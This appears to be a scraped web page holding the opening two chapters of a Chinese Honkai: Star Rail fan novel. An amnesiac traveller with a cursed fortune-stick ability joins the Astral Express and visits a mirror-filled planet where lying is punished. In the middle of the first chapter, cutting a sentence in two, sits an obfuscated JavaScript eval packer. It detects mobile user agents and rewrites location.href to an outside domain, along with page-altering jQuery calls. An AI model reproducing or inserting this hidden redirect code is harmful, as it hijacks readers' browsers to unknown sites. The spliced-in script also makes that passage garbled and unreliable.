《[崩铁]人在星铁,感觉良好》 1. 如同新生 有初四穿越了。 继失重感之后被什么东西拽了一下,随之而来的就是被撞击的剧烈疼痛,如果你要问他有什么穿越感想,昏死过去之前,他只觉得痛,非常的痛,可能要被砸成傻子了。 醒来的时候,隐隐约约能瞧见白炽灯的光亮,很刺眼,一个戴着帽子口罩看不清脸的人凑过来,语带笑意地说:“你醒啦?手术正要开始呢。” 有初四垂死病中惊坐——坐不起来?!他身上穿白色短袖和黑色短裤,身体被绳子束缚在手术台上,露出的手脚在用力地挣扎间被勒出一条条的红痕。 完全挣脱不开! 他惊恐地看着那个人笑眯了眼,拿过一把手术刀朝他晃了一下,或许是有初四表现得过于害怕,那个人还安慰地摆摆手。 “无需恐惧,疼痛只是一瞬。” 眼睁睁看着手术刀越凑越近,有初四跑不掉,浑身的细胞都要尖叫起来了。 你不要过来啊啊啊啊!! “啊——!”有初四惊醒,浑身都被冷汗给打湿了,只觉得刚刚做了什么恐怖的梦。 黑色的发丝都快被汗浸透了,伸出右手想去摸刘海,脸颊被手腕上坠下的东西触碰,有些凉。有初四愣了一下,把右手拿远了。 水蓝色的眼睛里,倒映着一个被手腕上戴着的红色编绳连接着的银色的铃铛。晃了晃,没听见响声,估计是个坏的。 他双手撑住床板用力想要起身,刚起了一半,才注意到脑袋被包裹住了,刚刚动的那一下让脑袋痛得很,就像是他在空中三百六十度旋转之后脑袋朝下砸到地上还正正好磕到碎石了一样! 难怪一直觉得脑袋有点紧…… 腰,腰也好痛! 有初四费劲低头一看,腰没有任何问题,至少表面看起来没有。 他安详地重新躺尸,事已至此,先休息吧。 _ “欸,你醒啦?”一片朦胧中一个少女的声音响起,眼睛还没完全睁开,有初四就撑起身体滚到了床的最里面,靠着墙,双手挡在胸前警惕地睁大眼睛看着出现的人。 那是一个粉色头发的少女,旁边还站着一位黑发青年。少女看见有初四这幅格外警惕的样子愣了一下,然后放缓语气,“别紧张,我们不是坏人。” 旁边的青年看了她一眼:“坏人也不会说自己就是坏人。” “你别拆台!” 有初四不说话,只是沉默地盯着他们,头上的伤口因为刚刚那番动作现在有些隐隐作痛。 见他不开口,粉色头发的少女迟疑了一下,没有选择贸然靠近他,而是站在一个能给足人安全感的距离,伸出手对着他眼前挥了挥,比出一个数字,“这是几?” 我只是残了不是傻了…… 有初四是这么想的,然后回答:“三。” 比出二手势的少女惊讶回头看向杵在原地的青年,“丹恒,他好像真傻了。” 名叫丹恒的青年叹了一口气,接过话问:“你还记得自己叫什么吗?” 这回青年沉默的时间更长了,丹恒也不着急,耐心地等待回应。 “……我叫,我叫什么来着?” 有初四只觉得荒谬,怎么可能一觉醒来自己就莫名其妙地失忆了——啊对,他脑子受伤了来着。 但只是稍加回忆,头就开始剧烈疼痛,不仅是头上的伤口疼,脑子里也疼的厉害,像是有什么在阻止他,或许正常人到这一步就会停下了,但有初四不同,他是个犟种。 在剧烈的疼痛里,他选择努力冲破束缚,试图回想起自己的一切,但在疼痛过后,他只看到了一片混沌,无数碎片拼凑的混沌。 有初四:“……”我怀疑我被耍了。 脑子:都告诉你了别想,反正等一会儿就能看到了,现在好了吧?一样的结果,双倍的疼痛。 但往好处想,他至少知道了自己的名字。 “我叫有初四。” 稍微平静下来的青年换了个姿势,爬起来靠着墙抱住了双膝,粉色少女朝他笑了笑:“我叫三月七,他叫丹恒。” 丹恒又问他除了自己的名字还记得什么。 “除了自己的名字……”有初四摇摇头,说自己的脑子里只剩下一片混沌。 丹恒:“……混沌是什么?” 有初四:“用人话讲就是记忆混成一团你中有我我中有你。” 丹恒:“……”短短几分钟,他似乎就窥见了他以后需要担忧的事情。 在三月七提出列车长要见他时,有初四并不意外,毕竟从被摔晕之前他就把情况猜的差不多了,无非就是他在空中做自由落体运动的时候不小心把人家屋子砸穿了,屋子的主人要求他赔偿也非常正常。 “等等。”有初四觉得不对劲,“你说什么,列车长?” “对啊,列车长。” “什么长?” “列车长啊。” “哪里的列车长?” “星穹列车的列车长啊。” “星穹什么?” “……我说你是故意的吧?” 丹恒听着三月七和有初四的对话沉默不语,视线从那头黑色的短发到水蓝色的眼睛扫过,最后落在了有初四手腕上的那颗铃铛上。 银色的?丹恒思索。 先跳过有初四得知自己在一辆行驶在星穹之间的列车上时有多震惊,在三月七说明了他的出场方式时,有初四茫然地啊了一声:“真的假的?” _ “请看帕。”叫做帕姆的列车长小身体一挪,手指向地上的一片碎裂的木板,让被三月七带过来的有初四看了个仔细。 “再看帕。”手往上一抬,有初四的视线跟着过去,看见列车顶上有一个洞,看大小…… 有初四比划了一下,好像正好能装下一个脑袋。 三月七看看他被缠着绷带的头,又看看被砸碎的桌子,一脸的惊奇。 “你突然出现在列车天花板砸下来的时候还是头朝下的诶!不仅把桌子给砸碎了,还停在低空三百六十度飞速旋转了好几圈,最终以一种诡异的路线突然往上飞,然后就撞到了列车顶!”她连比带划的,最后朝他竖了个大拇指:“最后还掉下来了,砸到地上碎裂的桌子脑袋二次重创,你现在还能好好站起来简直是个奇迹!” 当时三月七看见这人一系列的运动轨迹简直惊呆了,要不是她亲眼所见,恐怕也要说上一句“真的假的?” 有初四摸摸还被包着的脑袋,觉得没当场像爆汁的西瓜那样炸开也算是他命大了。 一想到他醒来的时候对救命恩人那么警惕的样子,还作为突然出现把人家的东西撞出一个洞的陌生人,有初四愧疚地说了声对不起。 此时,一团瑟瑟发抖的列车长引起了他的注意力,见他看过来还哒哒哒地跑到三月七的身后抱住了她的脚。 三月七啊了一下,对他解释道:“没事,大概是你掉下来的时候差点还砸到帕姆了。” “……”有初四看看前面躲在三月七身后的帕姆,身后是碎了一地的桌子,列车顶上还有一个很难让人不去在意的洞,感觉脑袋更疼了。 人要为自己的行为负起责任,虽然这大概不是他的本意。 他想了想,决定卖身。 三月七:啊? 有初四的卖身计划没能成功,他被摁在床上休息了,因为刚刚惊慌于“失忆人士即将破产”的时候他绷带渗出血了。 原来头疼并不是错觉啊,哈哈。 _ 有初四做了一个梦,梦里有一个奇怪的男人,他全身都裹在黑漆漆的衣服之下,完全看不见脸,他说他叫A。 A摊开左手展示一团马赛克,说:“看,这是1技能,所对应的是1世界。” 他又摊开右手,是一个金色的铃铛:“这是2技能,对应的是2世界。” 他双手朝有初四的方向伸了伸:“那么,你要选哪个呢?” 有初四第一时间后退了好几步,看着A僵在了半空中的手,思索。 正常人的话,一般都会先质问“你是谁?!”或者怀疑自己被什么绑架了,某种意义上也确实算作是绑架,而有初四只是稍作思考就作出了选择。 他说,小孩子才做选择,大人全都要。 是的,他比较贪心。 A:“……” 他沉默了,并复杂地看了他一眼,许久后才说:“那你得做好,被两个世界撕成两半的准备了。” 有初四:“?” “被抢完了运气好没死,还会被另一个世界的记忆冲刷脑子,大概会记忆混乱吧。” 有初四:“??” 有初四为自己的贪心付出了代价,并被A一脚踹出了他的地盘。 但是A作为一个什么都不懂的臭打工的,他并不知道1世界在2世界面前是完全弱势的,所以在对于“有初四”的这场争夺战中,1世界大概只是最后象征性地把他往上扯了一下,然后就撒丫子跑路了。 往好处想,其实至少1世界努力过了不是吗? 好消息,有初四没被和马赛克有关一看就很不妙的世界抢走,坏消息,被扯的那一下差点让他直接断气了。 这个仇,我记下了! 但梦醒了,有初四也忘了。 _ 不知道是不是失忆的原因,有初四大多数时候都是一副好奇的模样,因而在有人出现的时候,他睁着一双清澈见底的眼睛,呆呆地看着眼前这个自称“姬子”的人。 姬子也不着急,站在稍远一点的地方微笑着等有初四的小脑袋瓜转过弯来。 “啊……你是?” “你好啊,我叫姬子,是星穹列车的领航员,也是维修工。” 有初四:“……”脑子受伤了也包括出现幻觉吗?他好像看见了一个横在他眼前的【+压力】。 姬子人很好,完全看不出来有什么生气的意思,在得知有初四现在记忆混乱,很多事情没办法想清楚时,还邀请他登上星穹列车一同旅行。 “她真是个好人。”有初四想。 为了感谢他们能看似邀请实则是收留他,在伤完全好了之后勉强想起来点东西,就立刻想要展示给他们看。 有初四双手合十,手腕上系着的银色铃铛一动,逐渐染上灿烂的金色。本该坏了的铃铛发出清脆的声音,像是能穿透人的身体,直达脑海深处。 丹恒的眼神在看见铃铛变成金色时愣怔了一下,随后凝视着一脸虔诚像是在祈求什么的有初四。 很快,指缝间便散出一点黑金色的光。 黑,黑金色的? 有初四:“?”他有种不好的预感。 打开双手,黑金色的光也彻底散去,血黑的“下下”两个字出现在手掌上。 三月七凑过来:“这是?” 丹恒皱着眉:“感觉有股邪恶的气息。”三月七捅他一肘子,“不要说那么直白啦!” 下一秒,有初四站的那一块地方突然碎裂,突兀到所有人都没能及时反应过来,瓦尔·特伸出去的手及时拽住了他的衣领,但是“呲啦”一声。 衣服碎掉了。 众人:“……” 好消息是,因为列车已经停靠了,有初四只是掉在了铁轨上。 而坏消息…… 有初四在掉下去的时候又磕到了什么东西,被捞起来的时候一脸的血,刚好了没多久的头再次扎起了绷带。 头部遭受二次重创,丹恒开始担心有初四那本就不容乐观的脑袋。 而有初四醒来后首先担心的是星穹列车的修理问题,三月七表示有姬子在,完全没问题! 红发的姬子小姐站在了特别圆润,工整得像是被什么器具给切掉了的洞口旁边,陷入了沉思。 神奇的是,有初四的伤第二天就好全了,据本人所说睡一觉后起来伤口就不痛了,拆开一看又是一个崭新的脑袋,令人直呼医学奇迹。 而有初四发现,可以显现文字的地方不是仅限于自己的身体,还可以施加在其他物品上,于是他拿了一本书放在桌上把手掌按上去,再拿开的时候,熟悉的“下下”浮现在书本封皮上,下一秒,咔嚓一声。 书本和桌子都碎掉了,物理意义上的四分五裂。 有初四:“……”他好像知道列车为什么会突然塌出一个洞了。 三月七和丹恒都围了上来,摸着下巴沉思。 “所以说,下下到底是什么意思?” 黑发蓝眼的青年沉思片刻,“不知道,实践出真知。”于是等第二天又可以抽签的时候,下下签再次出现在他手中。 有初四:“啊……”虽然但是,一连三次都是下下签是不是有点离谱了? 感叹的话音刚落,还没来得及说什么,一颗不知道什么地方出现的石头突然飞了过来。 丹恒眼神一利:“小心!”他召唤出击云用枪柄想扫开那颗来势汹汹的石头,石头快有人半个脑袋那么大了,要是砸中有初四,估计他当场倒头就睡。 但出乎意料的是,攻击居然没起作用,只能勉强挡下,才把石头撇开。 “怎么回——”有初四话还没说话,后面一阵风声,又一颗石头冲他后脑勺砸。 “小四!”三月七想把石头冻住,可只能生出一层薄薄的冰面,一成即碎,有初四及时矮下身体躲了过去。 “为什么攻击不起作用,这是什么品种的石头啊?!” 越来越多的石头出现,一副不把他们砸死就不罢休的气势,再这样下去会把列车大厅都填满的! “要不然还是让我被砸算了,这是冲着我来的。” 话刚说出口,有初四就看见一颗石头以一种刁钻的角度朝三月七的后脑勺砸过去。 有初四:你们是对脑袋有什么执念吗?! 脑子还没反应过来身体就先出手了,铃铛金光一闪手里出现一根签,直接对准那颗石头扔过去。 但准头不行扔到了三月七背上,但也因此提醒到了她,一个侧身躲过了石头。有初四愣了一下,三月七也愣了一下。 三月七:“原来你有武器啊?!” 有初四:“原来我有武器啊?!话说你是不是给我起了昵称,我刚刚听到了。” 丹恒:“……”真是服了他们了。 分心的后果就是,有初四的后背被砸到了,往好处想,起码这回不是头了。 “我有一个猜想。” 第二天恢复如初的有初四看向一脸严肃的丹恒,看见眼尾有抹红色的黑发青年指了指那本被印上“下下”的书。 “这个下下代表着你会受到不合常理并且莫名其妙的遭遇,可以看作是下下签。” 有初四:“那这个遭遇,他是单只针对我一个人吗?” 想想一开始的只在有初四脚下出洞,再到昨天众人被一堆石头围攻的惨状,丹恒沉默了一会儿,“大概已经逐渐变成了会连带身边的人一起吧,不过——” 但他话还没说完,就看见有初四释怀地笑了,然后以迅雷不及掩耳之势拿出一根签,铃铛声一响金光乍现,签上显现出“下下”两个字。 “……” 黑发蓝眼的青年朝他惨淡一笑,说道:“丹恒,记得捞我。” 丹恒:“……”他木着一张脸,看着接下来以各种姿势躲避袭击的有初四,东西有很多,乱飞的盆栽,突然飞起来砸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15513968|170594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的凳子,还有突然出现蠢蠢欲动的击云…… ——等等,这玩意儿可蠢蠢欲动不得啊!丹恒立刻尽力控制住手中的武器。 他突然想起来,既然有初四这个能力会连带着身边的人受到攻击,那他正在搭乘的这辆列车—— 丹恒刚想到这,就听见不远处发出了一声巨响,像是有什么东西炸了。 不会吧…… 丹恒从未有过今天这般疲惫,他没开玩笑,列车长真的会疯掉的。 “什么什么?”听到动静的三月七跑过来,正好看见了有初四脚底一滑,来个了脸朝下平地摔。 “嘶——”三月七看着就觉得痛,而当事人在地上挣扎了一下,然后抬头伸出一只手,比出了一个大拇指,极力证明自己没事。 但是在他眼睛里打转的泪花没有一点说服力。 一看就摔的狠了。 乱飞的物品在有初四摔倒的那一刻就停下来了,留了满地的狼藉,茫然的三月七和木着一张脸的丹恒面面相觑,地上还有个人正在扭曲爬行。 第二天早上,帕姆准时来敲有初四的门,叫人起来吃早餐,只听见门内一声惨叫,帕姆被吓得毛炸了一下,“有初四乘客!发生什么了?” 门缓缓打开,露出躺在地上安详合上双眼的有初四,双手交叠,手中握着一支签,上面有着“中下”两字。 于是正在给早餐拍照的三月七就见证了,吃东西会噎到,喝水都能呛到的有初四,她安慰地拍了拍已经快要变成灰色的人,“起码这回不是下下签了。” 丹恒平静地递过去一张纸巾,“我昨天还没说完,既然有带来坏事的下下签和中下签,那肯定会有好运的上上签。” 有初四一下子就支楞了起来,他飞快贴过去握起丹恒的双手:“真的吗真的吗?!” “……太近了。”丹恒挣脱开,一只手把纸巾塞到有初四的手里,一只手推开突然凑近的脸。 丹恒皱眉,这人明明也有吃饭喝水的常识,但是很多东西却是要重新学的,比如糟糕的社交距离。 “按理说是会有的,但——”他意有所指地看了一眼表情无辜的有初四,“抽不抽得到就是另一回事了。” 有初四欲哭无泪,恹恹地坐下继续吃早餐,三月七怜爱地拍拍他的肩。 突然有初四灵机一动,他伸出手把手腕上的铃铛送到丹恒面前,“要来一发吗?” 丹恒一个后仰往后躲开了点,无奈道:“都说了太近了。”接着端详那枚平时不会发出声音的铃铛,若有所思。 “我可以吗?” “试试嘛,应该可以。” 三月七在两人之间来回看,逐渐察觉到不对劲:“我怎么觉得你们的对话怪怪的?” 一脸单纯的有初四和正在思考的丹恒同时转过来看她,都是一副“你说什么我怎么听不懂”的表情。 三月七:“没事没事,你们继续!” 于是丹恒在思索片刻后,伸出手和有初四掌心相贴,铃铛金光一闪,挪开手掌后,丹恒看见了上面的“上吉”两字。 有初四:“……” 丹恒:“……” “啊啊啊啊我不甘心!”有初四突发恶疾开始无理取闹,双手握住丹恒的肩膀开始摇晃,“你个欧狗!我也要我也要嘛!为什么给我的都是下下给丹恒一下就抽中了吉啊,偏心!!” “你冷静一点……” “我冷静不了!” “呃……还是,先关心一下上吉会有什么效果吧?”三月七从旁边伸出一只手,拿着手机怼到丹恒面前,赫然是一个抽卡界面。 丹恒:“……”一个两个的都这样。 挣扎着伸出一只手,点上抽卡界面。 十连八金。 “??”有初四不可置信地看着那一片金灿灿的抽卡界面。 “我的天啊,十连八金还都没歪……”三月七神情恍惚地收回手机,顺便截了个图。 在这几天时间里,有初四从未下过一次列车,他窝在房间里沉迷于研究自己的能力。 抽签能力的冷却是24系统时,而且只能抽一次。 抽出下下签会出现各种奇怪的事件试图攻击他,但是他受到伤害的那一刻就会停止,无论是什么伤害,就连手指割伤也算,所以基本构不成什么威胁?至少目前还没发现其他的作用,所以打个问号暂定。 至于中下签,就是普通的倒霉,吃饭噎到喝水呛到,经常性平地摔和各种不痛不痒的小意外而已。 中平签则是风平浪静,不会有好事发生也不会有坏事,不幸运也不倒霉,令人安心。上吉签就是幸运了,抽卡变欧皇做事顺利走两步天上掉馅饼,这份运气要是拿去赌博估计会大赚一笔,但有初四对这个不感兴趣。 然后呢?就没有然后了,最高的就是丹恒的那次上吉签,按理说有下下签就会有相应的上上签的,但…… 从来没有人抽到过。 虽然有初四经常会抽到下下签,但是要解决也很简单,在手上划一个小口子就行了,虽然他恢复的速度较快,但被伤到的刺痛还是会稍稍影响动作,伤口和布料摩擦的疼痛并不好受,出于某种微妙的心理,他把地点换到了手臂上,缠上了绷带,平时会被衣袖掩盖看不出来。 丹恒发现了这件事,他皱着眉不赞同地说道:“一定要出血才行吗?” 有初四点头,“毕竟只是轻拍之类的根本构不成伤害啊,不出血的话要到被用力打一巴掌那种程度才行。”比起这个他更愿意划一道不痛不痒的口子。 但丹恒显然不觉得这是什么不痛不痒的事情,也知道有初四不可能耐着性子一直不抽签,这种和抽奖一样性质的能力让有初四格外着迷,巧的是抽奖没有保底,抽签也没有。 看着黑发青年皱眉盯着他的手臂,有初四歪头,“你是在担心我吗?”他并不是一个聪明的人,面对经过几天相处已经较为熟悉的丹恒,可以做到不懂和不确定的事情直接问出来。 “我在担心你。”丹恒毫不犹豫地回答,“所以这次就让我来吧。”有初四眨眨眼,顺从地把签递了出去。 丹恒在抽到中下签后,他确切地感受到了什么叫做倒霉到喝凉水都会塞牙缝。 而被代抽的这几天里,有初四还验证出了这个能力的另一种用法,抽完签受到影响的不是抽签的人,而是拿着签的人,这也就意味着…… 有初四摸着下巴:“我要是看谁不爽就可以把下下签放他身上了?” 话刚说完脑门就被丹恒弹了一下,有初四啊地一声捂住额头,委屈巴巴地看着他。 “我就是说说……” 丹恒:“还不清楚你的签到了别人身上会发生什么,会不会有更严重的后果,中下签是和你一样只是普通的倒霉。” 他叹气,“那么下下签呢?不应该只是只要受伤就会停止那么简单的。” 有初四有些愣怔,他突然觉得,丹恒是知道这样做的后果,所以才这么说的。 他怎么知道的,丹恒他,认识以前的自己吗? 想到这里,有初四突然打了个哆嗦,这段时间他不是没有翻过自己的记忆,但是有很大一部分都打着厚厚的马赛克,直觉告诉他那不是什么好东西。 有初四由衷地祈祷丹恒和自己以前并不认识,只是自己感觉错了,因为他要是认识那时候的自己,绝对不是什么好事。 随着时间的推移,有初四发现划出来的伤口恢复得原来越快,从结痂到脱落不超过一个系统时。 蓝眼睛的青年纠结得脸都皱了,我该不会,和丰饶有什么关系吧?从目前记载的关于药师的资料来看,和那位扯上关系大概不会是什么好事…… 2. 法塔莫日甘 出于个人喜好,有初四选择服装的时候选了无袖的短款背心,是能看见他左腰侧的一颗红痣,外面只套了件薄薄的外套,但没过几天。 “姬子,我冷。”有初四可怜兮兮地抱着手臂瑟瑟发抖。 伟大的姬子小姐拯救了快被冻死的小无名客,送给他一件外套。 外套整体成黑色,暗红色镶边,不会过于紧身,穿起来也轻飘飘的,左手袖子只到手肘上,右手袖子长到手腕,刚好能遮住那一枚铃铛,右腰侧从腋下开始做了开叉设计,能露出一截背心和右腰那块裸露的皮肤,那块皮肤上有一条横着的红痕,像红绳一样绕着有初四的腰走了一半后戛然而止。 有初四也说不上来这是什么,看起来不像疤痕摸起来也没有感觉,就像是什么天生的胎记一样。 “谁家胎记长得跟条线一样,还那么直啊……” 他左手戴着丹恒送的黑色半指手套,手背部分是一个镂空的菱形,有一个能计时的功能。 有初四问为什么要送他这个,丹恒没有回答,只是意味深长地说了一句你以后会用到的。 虽然有一只袖子是短的,还有开叉,但是不会感觉到半点寒冷。科技,很神奇吧? 后来,有初四的左耳上多了个红色绳结的耳坠,垂下的绳子长度刚好,不会碰到肩膀,这是三月七回到列车上后给他的礼物,然后在决定下一次跃迁地点时,三月七怎么说都要拉上他一起去。 “你都快在这里待着发霉啦!” “怎么会!我偶尔会帮列车长擦地板,过得很充实!” “反正你这次一定得下车!” 姬子阿姨看着他们两个人拉扯着,笑了一下:“三月说的对,或许该去看看,外面没有你想得那么可怕。” 有初四愣住了,突然停下来的动作让三月七把他带得踉跄了一下。 “你怎么这么轻啊……”三月七悻悻地放手,反应过来姬子说的话,好奇地问:“你是因为害怕所以不敢下去吗?” “嗯……说害怕其实也不是,就是有种感觉。”有初四支支吾吾,“要是在外面乱跑,会被xx然后xx,或者被xx带走xx,又或者xx然后被xx。” 一旁坐着看手机的瓦尔·特停顿了一下,奇怪地抬起头,刚刚怎么听到了一串哔哔哔的声音? 三月七一脸疑惑:“为什么这么多消音啊,你的联觉信标是出问题了吗?” “诶?听不到么,那应该是被屏蔽了。” “什么嘛,我听不懂啊……” 最后他还是妥协了,就像姬子小姐说的,逃避并不能解决问题,作为一个无名客,他总不能一辈子都不下列车吧? 在跃迁结束后,有初四看到了这颗他们即将去往的星球,即使隔的这么远,也能依稀可见闪烁的星光点点。 “那是什么?”有初四贴着列车窗户好奇地问,眼角好像被闪了一下,他不由地揉了揉眼睛。 “法塔莫日甘,据智库记载那里的人都喜欢用镜子当装饰,房屋,街道,镜子无处不在,你现在看到的,应该都是镜子的碎片。” “这么多?!”三月七也凑过来,没像有初四那样趴在上面,而是拿出相机拍了一张照片。 “原本是没有那么多的。”丹恒顿了一下,“但在两个琥珀纪前,法塔莫日甘出现了不明病症,传染性极强,且死亡速度非常快,通常是四到五个系统时,当有传言说病源是镜子的时候,往日极爱的东西就变成了人们发泄怒火的对象。” 于是镜子碎裂,数不清的碎片飞扬,随着星球的毁灭掉进银河之间。 “但似乎有幸存者,短短时间内就将法塔莫日甘复原,并在近期开启了通行。”在那样的病症下还能存活下来,并且将法塔莫日甘重建,有且只有一个可能。 “那是外来者做的,因为那种病症只会在原住民之间传染。”而原住民全都死光了,在当时半个星球体都碎掉的情况下,短时间重建法塔莫日甘,到底是怎么做到的? 这个疑问在丹恒看到街道上来来往往的人后更深了。 在见到人群的那一刻,有初四没忍住往三月七身后躲,犹豫了半天才扒着三月七的肩膀探出头,发现人们只是因为他的行为看了他两眼,然后就各做各的事情了,看起来没什么问题。 但是…… 有初四莫名打了个哆嗦,他警惕地打量着四周,总感觉像是被什么注视着,而且不是一个是一群。 似乎是察觉到了被注视者受到了惊吓,那股注视渐渐消失了。 丹恒站在最后,看到的比有初四更多些,他靠近还在紧绷着的有初四,轻声说道:“是那些居民,他们刚刚一直在悄悄看我们。” 而且动作和表情都出奇地一致,又同一时间转过头装作什么事情都没发生,非常怪异。 三月七搓搓双臂:“噫,好诡异啊,这个描述就像是被设定同样程序的智械一样。” 但仅仅是注视,有初四并没有从中察觉到什么恶意,前后都有同伴让他稍稍安心,没再那么紧绷着了。 在那次注视后,法塔莫日甘的人又开始各做各的,表现出对外来者的漠不关心,像是恢复了正常。 “所以星球表面看到的都是些镜子碎片?”三月七踩着混有无数镜子碎片的地板,一眼望不到头,是之前都把镜子砸碎的原因吗?碎掉的镜子全部落进地上,重建的时候一起砌进去了。 “在经历那种病症,且疑似镜子是源头,现在还是那么酷爱用镜子装饰吗?”丹恒看着四处的房屋,基本上全都挂着镜子,照出的人影加上正在走动的人,简直看的眼花缭乱的。 “而且从刚才我就有一件事情特别在意。”丹恒示意他们去看旁边挂着的一面镜子,“镜子里什么都没有。” 三月七点头,“我也发现了!不仅连人都照不出来,建筑都没有,镜子里就只能照出我们……” 有初四则安静地待在一旁,默默地观察周围。 “亲爱的,昨晚你去做什么了?一晚上都没回来。”迎面走过来的一对情侣中的女生亲密地把头依到男生的肩膀上。 男生表情挣扎了一下,一脸无辜地说:“昨晚我去鬼混了,和隔壁的寡妇度过了美好的一天。” 女生:“……” 有初四:“……这是可以直接说出来的吗?” 那个女生眉毛一抽,表情格外的怪异,像是强忍又像是嫌恶,最后她的表情归为一片空白,面无表情地将两人交叠的双手分开,无言地各走一边了。 丹恒淡定地收回视线,对着呆愣的两人说道:“据智库记载,这是他们的特色,从不说谎——” “哈哈,被吓到了吧?”丹恒的话还没说完,不远处传来一个爽朗的声音,一个短发中年男子走了过来。 “这位小哥说的对,这是我们法塔莫日甘的特色。”他的眼神从他们各自身上都扫了一圈,像是在确定什么,然后才笑道:“自我介绍一下,我叫达克格洛勒埃赤尼斯,你们可以叫我尼斯。” 丹恒注意到,在这个人出现后那些曾投射在他们身上的注视就一股脑涌了过去,甚至都不加掩饰地直勾勾盯着了。 三月七毫无所觉:“你好呀尼斯!我叫三月七,这是丹恒,他是有初四!我们是来自星穹列车的无名客。” “你们好啊,外来的旅者,我们确实有不说谎的规定。”尼斯神秘一笑,“因为他们相信镜子能映射出一切谎言。” “欸——”三月七饶有兴致地主动凑到一片镜子前好奇地问:“是只要说谎了就能被发现吗?” “不是说谎了就会被发现,而是一旦说谎并被镜子照到了,镜子里就会出现镜兵将他们抓走。”尼斯摇头,“诚实是一种美德。” “这么严重啊……”三月七瑟缩了一下。 尼斯像是看出了三月七的顾虑,摆手示意他们不用担心,“不过你们不是这里的人,这个对你们没用。” 他停顿了一下,又意味深长地补了一句:“不过待久了可就不好说了。” 丹恒听出了他话里让他们尽快离开的意思便问:“怎么说?” “没什么,只是待久了你也会变成这里的人,而人的习惯是很难更改的,在日常生活里无论是推脱还是敷衍都会不可避免地带上那么一点谎言,而在这里,哪怕是一点点都会被镜子发现。”尼斯耸肩,“谎言是犯法的,你们也不想因为不小心说了句谎话就被送到监狱去吧?” 三月七问道:“你见过很多这种事吗?” “当然,因为喜欢而停留的外来者我见过不少,我都想方设法地去劝了可他们还是不听,最后因为待的时间久了,在有一次不小心说出谎言后一脸茫然地看着镜子里的自己说出内心真实的想法,还被闻声赶来的镜兵关押进大牢里,第二天就被执行了死刑。”尼斯的表情突然变得有些悲伤,“这种事情我见过太多。” “说谎就等于死刑吗……”三月七觉得这太过极端了,可能在这颗星球上,谎言是绝对不能容忍的。 “不对。”有初四突然出声,自陌生人主动搭话起就显得格外沉默的黑发青年歪头,水蓝色的眼睛直勾勾地看着尼斯,透彻得仿佛能看穿一切伪装,“是谎言。” 尼斯的笑容停住了,他缓缓看向有初四,“无缘无故就说别人在说谎,这可不是什么好习惯啊小朋友。” 【+压力】 有初四愣了一下,心道又来了,不由自主地退后了一步。 尼斯看他退后就身体前倾,像是要跟上来。 突然一只手横过来拦在他们之间,丹恒一手挡在有初四前面,三月七也过来把有初四挡得严严实实的,一脸的严肃。 “你想对我们家小四做什么?” 虽然有初四的体型和丹恒一样,但是平日里的行为举止让三月七觉得他心理年龄并不大,况且这是有初四第一次下车。 要是丹恒知道三月七心里想的什么,肯定会面无表情地告诉她,熊是不分年龄的,心理上的也一样。 有初四看着同伴们的背影,刚提起的心缓缓放下。 【--压力】 这到底是什么?感觉像是在玩游戏一样…… “你到底有没有说谎,看看镜子就知道了。”丹恒淡淡地回应,眼神警惕地看着尼斯,他离的近的镜子碎片里,清晰地照出了已经变得面无表情的尼斯,无论是路上的行人还是建筑物,亦或是摊子,镜子里空无一物,照出来的就只有三位无名客,和面前的这个人。 尼斯没有回话,只是深深地看了一眼被两人挡在身后的有初四,就拨开人群快速离开了。 没过多久,就有一群卫兵打扮的人追了过来,拿出一张通缉令,询问三人有没有见到过这个人。 通缉令上的,赫然就是刚离去的尼斯。 _ “没想到第一个交谈的人居然是通缉犯。”三月七双手背在身后面朝两人倒着走,“我们运气还真够奇怪的。” 然后她摸摸有初四的脑袋,“瞧把我们小四给吓的。” 呼噜呼噜毛吓不着。 有初四还在发呆,丹恒看了他一眼,“初四,怎么了?” “嗯……”黑发蓝眸的青年慢半拍地应了一声,不知道该怎么解释他所看到的。 【疼痛】你感觉良好 【疲劳】你感觉精神饱满 【压力】你心如止水 【创伤】你的精神十分健康 【自控】你充满自信 “一个……类似游戏面板的东西?”有初四迟疑道,“看起来是能看见我的状况。” “欸——那发烧感冒中毒受伤都能看见吗?” “这个就不清楚了。”下面的字有一点消失了,有初四猜测下面还有字体,他想伸出手指触碰,却发现穿过了屏幕。 摸不到啊…… 三月七突然想起来一件事,“对了丹恒,你刚刚没说完的,关于法塔莫日甘的记载是什么?” “他们从不说谎,镜子能透穿谎言,映射真实。” “法塔莫日甘的领导者被称做教主,而法塔莫日甘最后一任教主的信息很奇怪,只记载了爆发病症之前法塔莫日甘是多么的和平,和平的有点诡异了。” “而且你们觉得奇怪吗?如果分辨外来者真的靠镜子的话,那么已经开放的法塔莫日甘不可能一个外来者都看不见,而且偌大一个星球,毁灭后就算重建,他哪来的那么多本地人?” “这么一说怪恐怖的!”三月七噫了一声,这里处处都透着诡异。 有初四一边听丹恒说话一边不断扭头去看路过的行人,过于直白的眼神却没有引起任何被注视之人的注意。 “小四这是发现了什么吗?” 这位对陌生人有一定抗拒的同伴主动去观察别人的行为有些反常。 “我觉得……”有初四歪头,有些迟疑,“这些人,长得人山人海的。” 到底是什么情况才会用人山人海形容一个人的长相? 丹恒若有所思:“仔细看,这些人的五官都有些微妙地相似。” 走走停停的行人对他们的行为视若无睹,面容间又都有几分相似,多少有些诡异了。 三月七抱着手臂打了个寒颤。 天色渐暗,法塔莫日甘的夜晚没有落雪却格外的寒冷,仿佛透过皮肤深入骨髓。 三人找了个旅馆住下,老板是个温和的人,在交谈的过程中他们得知了许多信息。 法塔莫日甘的领导者是教主,据安德森所说教主很少出现,都是贵族们向外传达的命令,所以他们连教主长什么样都不知道。 至于被通缉的尼斯,安德森对其并不了解。 “有点不对。”回到房间里,丹恒道,“太顺利了,问什么就答什么,今晚早点休息吧,明天要注意安全,尽量不要把自己暴露在镜子里。” 镜子要素过多反而成了最值得警惕的地方。 “而且真的挺恐怖的。” 